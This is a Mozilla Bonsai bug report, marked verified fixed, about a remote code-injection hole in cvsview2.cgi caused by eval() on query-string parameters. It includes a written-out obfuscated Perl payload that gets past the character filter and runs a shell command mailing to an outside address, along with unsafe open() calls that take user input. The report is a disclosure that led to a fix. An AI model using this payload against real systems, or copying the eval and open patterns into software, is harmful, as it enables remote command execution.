54690 - serious security holes may still exist in cvsview2.cgi

Status: VERIFIED FIXED

(Webtools Graveyard :: Bonsai, defect, P3)

Description

[Adam Spiers]

Serious security holes may still exist in cvsview2.cgi.  Originally the
QUERY_STRING parsing code looked like this:

  foreach my $option (split(/&/, $query_string)) {
      die("command $opt_command: garbled option $option\n")
          if ($option !~ /^([^=]+)=(.*)/);
      eval('$opt_' . $1 . '=' . SqlQuote($2));
  }

This was a massive hole, and eval() should never ever be used like this.
I pointed this out, and the following was added to try to make the user input
safe:

  die("bogus characters in options")
    if ($option !~ /^[\w\-\.\+\/\,\:\=]+$/ );

but this wasn't good enough; I was still able to exploit this by adding the
following to the end of the QUERY_STRING:

files,s/../a/,s/..//g,s/./92_/,s/.../q:qx+echo:.chr.q:x20:.chr.q:x22oh:.chr.q:x2
0dear:.chr.q:x22:.chr.q:x20:.chr.q:x7c:.chr.q:x2fbin:.chr.q:x2fmail:.chr.q:x20ad
am:.chr.q:x40spiers.net+:/ee,__DATA__=bar

(Although it didn't work on the lounge.mozilla.org bonsai, it worked
on another copy I have access to.)

This horrendous string avoids any of the bogus characters as defined
by the above regexp, but still executes:

  echo "oh dear" |/bin/mail [e-mail]

As you can see, Perl is a slippery beast.  Now, the offending eval()
has been patched to:

  ${"opt_$1"} = SqlQuote($2);

at my suggestion.  Unfortunately my suggestion was erroneous, as symbolic
references don't work under the 'use strict' pragma, and as such I don't really
understand why noone has yet complained that this code doesn't compile.  Maybe
it hasn't been merged onto any test/live box yet?

The correct solution is to avoid reinventing the CGI wheel, which has been
a highly deprecated activity for years now anyhow, and use CGI.pm.  A patch
follows to remedy this.

Anyway, use strict issues aside, this is a whole lot safer, possibly even
entirely safe, but I'd still like to see each CGI parameter checked on an
individual basis before being passed to the open() calls, e.g.

  line 517:
    open(RCSDIFF, "$rcsdiff -r$opt_rev1 -r$opt_rev2 $opt_file 2>/dev/null |");

  line 652:
    open(RCSLOG, "rlog -r$opt_rev $opt_file |");

So here $opt_rev1 and $opt_rev2 should always look something like 1.23 or
HEAD and $opt_file should be surrounded in quotes.  If this is done properly
then we can even safely allow weird characters in filenames.

There are other open() calls, incidentally.

Comment 1

[Adam Spiers]

Attachment: (old) patch fixing bonsai security issues by using CGI.pm

Comment 2

[olivier.berger]

> Unfortunately my suggestion was erroneous, as symbolic
> references don't work under the 'use strict' pragma, and as such I don't
> really understand why noone has yet complained that this code doesn't compile.
> Maybe it hasn't been merged onto any test/live box yet?

I just wanted to confirm that the problem of this not compiling happens on our
installation.

But... installing bonsai is such a hack (not to offend anybody ;) that one more
problem doesn't seem to be notified :(

By the way, is anybody still maintaining it ... several patches have been
submitted in bug reports and none seems to be included :(

Comment 3

[Dave Miller [:justdave]]

Comments on netscape.public.mozilla.webtools indicate success with this patch on 
other sites.  r=baloo in IRC today

patch checked in.

Comment 4

[Bradley Baetz (:bbaetz)]

VERIFIED that this patch was checked in.

This patch seems to remove the check that the request_method is 'GET', but I
don't see a need for that check anyway...